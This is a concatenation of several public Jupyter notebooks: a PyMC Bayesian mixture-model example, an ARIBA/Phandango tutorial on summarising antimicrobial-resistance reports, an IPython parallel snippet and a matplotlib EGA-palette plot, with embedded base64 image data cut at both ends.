M5DCZzu2DPRvrvmWEYxnBnbhccIWZNnoS1\n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\nOeecc84l6H8V8jcvMXPrgwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x13ff49490>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "ndims = 2\n", "nobs = 20\n", "\n", "n = 1000\n", "y_sample = np.random.binomial(1, 0.5, size=(n,))\n", "x_sample=np.empty(n)\n", "x_sample[y_sample==0] = np.random.normal(-1, 1, size=(n, ))[y_sample==0]\n", "x_sample[y_sample==1] = np.random.normal(1, 1, size=(n, ))[y_sample==1]\n", "\n", "with pm.Model() as model:\n", "\tp = pm.Beta('p', alpha=1.0, beta=1.0)\n", "\ty = pm.Bernoulli('y', p=p, observed=y_sample)\n", "\tmu0 = pm.Normal('mu0', mu=0., sd=1.)\n", "\tmu1 = pm.Normal('mu1', mu=0., sd=1.)\n", "\n", "\tmu = pm.Deterministic('mu', mu0 * (1-y_sample) + mu1 * y_sample)\n", "\t\n", "\tx = pm.Normal('x', mu=mu, sd=1., observed=x_sample)\n", "\n", "with model:\n", "\tstart = pm.find_MAP()\n", "\tstep = pm.NUTS()\n", "\ttrace = pm.sample(10000, step, start)\n", "\n", "pm.traceplot(trace)\n", "plt.savefig(\"result2.jpg\")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.10" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

sanger-pathogens/pathogen-informatics-training

Notebooks/ARIBA/phandango.ipynb

1

11677

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Viewing ARIBA results in Phandango\n", "\n", "This section describes how to use [Phandango](http://phandango.net/) to view a summary of ARIBA results from many samples.\n", "\n", "The most important output file from ARIBA is the report called `report.tsv`. For this tutorial, we have all 1517 reports in the directory `data/ARIBA_reports/`." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "ls data/ARIBA_reports | wc -l" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "See the [previous section](run_ariba.ipynb) for how to generate a report file for each sample.\n", "\n", "ARIBA has a functon called \"[summary](https://github.com/sanger-pathogens/ariba/wiki/Task:-summary)\" that can summarise presence/absence of sequences and/or SNPs across samples. It takes at least two ariba reports as input, and makes a CSV file that can be opened in your favourite spreadsheet program, and also makes input files for Phandango. The two Phandango files (a tree and a CSV file) can be dropped straight into the Phandango page for viewing.\n", "\n", "The tree that ARIBA makes is based on the CSV file, which contains results of presence/absence of sequence and SNPs, and other information such as percent identity bewteen contigs and reference sequences. This means that it does not necessarily represent the real phylogeny of the samples. It is more accurate to provide a tree built from the sequencing data. For this reason, we will use a pre-computed tree file `data/tree_for_phandango.tre`.\n", "\n", "## Basic usage of ariba summary\n", "\n", "First, let's run `ariba summary` using the default settings, except we will skip making the tree:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "ariba summary --no_tree out data/ARIBA_reports/*.tsv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can see that this made two files:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "ls out.*" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "They are the same except for the first line, which has Phandango-specific information. ARIBA uses the filenames as sample names in the output: " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "head -n 2 out.phandango.csv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The first name is \"data/ARIBA_reports/ERR1067709.tsv\", and the rest are named similarly. This is not ideal, as it will look ugly in Phandango. Further, the names must exactly match the names in the tree file for Phandango to work (have a look in the tree file `data/tree_for_phandango.tre`). You could do a little hacking here using the Unix command `sed` on the CSV file. Instead, we can supply ARIBA with a file of filenames that also tells ariba what to call the samples in its output CSV files. Instead of \"data/ARIBA_reports/ERR1067709.tsv\", we would like to simply use \"ERR1067709\", which is cleaner and matches the tree file. It also means we can (and will) repeatedly run `ariba summary` with different options, and get output files that can be loaded straight into Phandango. This is one way to make the file with the naming information:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ls data/ARIBA_reports/* | awk -F/ '{print $0,$NF}' | \\\n", " sed 's/.tsv$//' > data/filenames.fofn" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The file is quite simple. Column 1 is the filename, and column 2 is the name we would like to use in the output." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "head data/filenames.fofn" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now we can rerun summary using this input file. Note the use of the new option `--fofn`." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ariba summary --no_tree --fofn data/filenames.fofn \\\n", " out data/ARIBA_reports/*.tsv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Check that the renaming worked:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "head -n 2 out.phandango.csv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now go to [Phandango](http://phandango.net/) and drag and drop the files `out.phandango.csv` and `data/tree_for_phandango.tre` into the window. The result should like this:" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This a very high-level summary of the data. For each cluster, it is simply saying whether or not each sample has a 'match'. Green means a match, and pink means not a match. For presence/absence genes, this means that the gene must simply be there to count as a match. If it is a \"variant only\" gene, then the gene must be there and one of the variants that we told ARIBA about earlier when [generating the ARIBA database](make_custom_db.ipynb)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## More information per cluster\n", "\n", "In addition to a simple \"yes\" or \"no\" as to whether a sample \"matches\" a given cluster (as explained above), more columns can be output for each cluster. See the [ARIBA summary wiki page](https://github.com/sanger-pathogens/ariba/wiki/Task:-summary) for a full description of the options.\n", "\n", "Adding more columns can result in a very wide plot, so we will just look at 23S from now on, using the option `--only_clusters 23S`. Adding the option `--preset all` will show all available columns for the 23S cluster:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ariba summary --only_clusters 23S --preset cluster_all --no_tree \\\n", " --fofn data/filenames.fofn out data/ARIBA_reports/*.tsv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As before, drag and drop the files `out.phandango.csv` and `data/tree_for_phandango.tre` into the window. This time the result should look like this:" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now there are seven columns, showing various findings from ARIBA for 23S. These columns are described in the [ARIBA summary wiki page](https://github.com/sanger-pathogens/ariba/wiki/Task:-summary).\n", "\n", "You can control exactly which of the seven cluster columns are output using the option `--cluster_cols` instead of `--preset`. For example, this will show just the \"match\" and \"pct_id\" columns:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ariba summary --only_clusters 23S --cluster_cols match,pct_id \\\n", " --no_tree --fofn data/filenames.fofn out \\\n", " data/ARIBA_reports/*.tsv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Variants\n", "\n", "In the previous screenshot, where the option `--preset cluster_all`, there are two variant columns: \"known_var\" and \"novel_var\". Green means \"yes\" and pink means \"no\". Here, we are considering a variant to be a difference bewteen the reference sequence and the assembly contig from the reads. The known_var column indicates whether each sample has any variant that is known to ARIBA, which means it was included when the original ARIBA database was generated. The novel_var column indicates whether or not a sample has any variant that is not already known to ARIBA.\n", "\n", "We can view the calls for all the known variants by adding the `--known_variants` option:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ariba summary --only_clusters 23S --known_variants --no_tree \\\n", " --fofn data/filenames.fofn out data/ARIBA_reports/*.tsv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As before, drag and drop the files `out.phandango.csv` and `data/tree_for_phandango.tre` into the window. This time the result should like this:" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Each known SNP and whether or not it is present is shown, but you may have noticed there are three colours. Green means \"yes\", orange means \"heterozygous\", and pink means \"no\". *N. gonorrhoeae* has four copies of 23S. A SNP could be present in none, some, or all copies. Where it is present in 1,2, or 3 copies, it is called \"heterozygous\" by ARIBA. Consider the SNP 2597CT in column 4, and column 5 to the right \"2597CT.%\". Samples either do not have this SNP, or have heterozygous calls. The 2597CT.% shows the percent of reads that have the SNP, when mapped to the contig. Hover over the coloured blocks in Phandango to see the percentage." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ariba summary --only_clusters 23S --novel_variants --no_tree \\\n", " --fofn data/filenames.fofn out data/ARIBA_reports/*.tsv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now Phandango shows all variants found in any of the samples (even if the variant is unique to one sample). This results in a lot of columns!" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now go to the next part of the tutorial where we [Investigate MIC data in relation to variants in the samples](micplot.ipynb).\n", "\n", "You can also [return to the index](index.ipynb) or revisit the [previous section](phandango.ipynb)." ] } ], "metadata": { "kernelspec": { "display_name": "Bash", "language": "bash", "name": "bash" }, "language_info": { "codemirror_mode": "shell", "file_extension": ".sh", "mimetype": "text/x-sh", "name": "bash" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

sirca/clusterous

demo/ipython-lite/ipython/notebook/.ipynb_checkpoints/01_parallel_process-checkpoint.ipynb

1

792

{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from IPython.parallel import Client\n", "profile_dir = \"/home/data/ipython\"\n", "rc = Client(profile_dir=profile_dir)\n", "\n", "print \"Parallel process: {0}\".format(len(rc.ids))\n" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.6" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

UIUC-iSchool-DataViz/fall2017

week06/prep_notebook_week06_01.ipynb

1

139845

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "%matplotlib inline" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import matplotlib.pyplot as plt\n", "import numpy as np\n", "import csv, json\n", "plt.rcParams[\"figure.figsize\"] = (12,12)" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "ega_palette = {\n", " 0: (0x00, 0x00, 0x00),\n", " 1: (0x00, 0x00, 0xAA),\n", " 2: (0x00, 0xAA, 0x00),\n", " 3: (0x00, 0xAA, 0xAA),\n", " 4: (0xAA, 0x00, 0x00),\n", " 5: (0xAA, 0x00, 0xAA),\n", " 6: (0xAA, 0x55, 0x00),\n", " 7: (0xAA, 0xAA, 0xAA),\n", " 8: (0x55, 0x55, 0x55),\n", " 9: (0x55, 0x55, 0xFF),\n", " 10: (0x55, 0xFF, 0x55),\n", " 11: (0x55, 0xFF, 0xFF),\n", " 12: (0xFF, 0x55, 0x55),\n", " 13: (0xFF, 0x55, 0xFF),\n", " 14: (0xFF, 0xFF, 0x55),\n", " 15: (0xFF, 0xFF, 0xFF),\n", "}" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": true }, "outputs": [], "source": [ "im = np.zeros((16, 4), dtype=\"uint8\")\n", "im[:,3] = 255\n", "for i in ega_palette:\n", " im[i,:3] = ega_palette[i]\n", "im2 = im.reshape((4,4,4))" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<matplotlib.image.AxesImage at 0x7fd2e8dc5748>" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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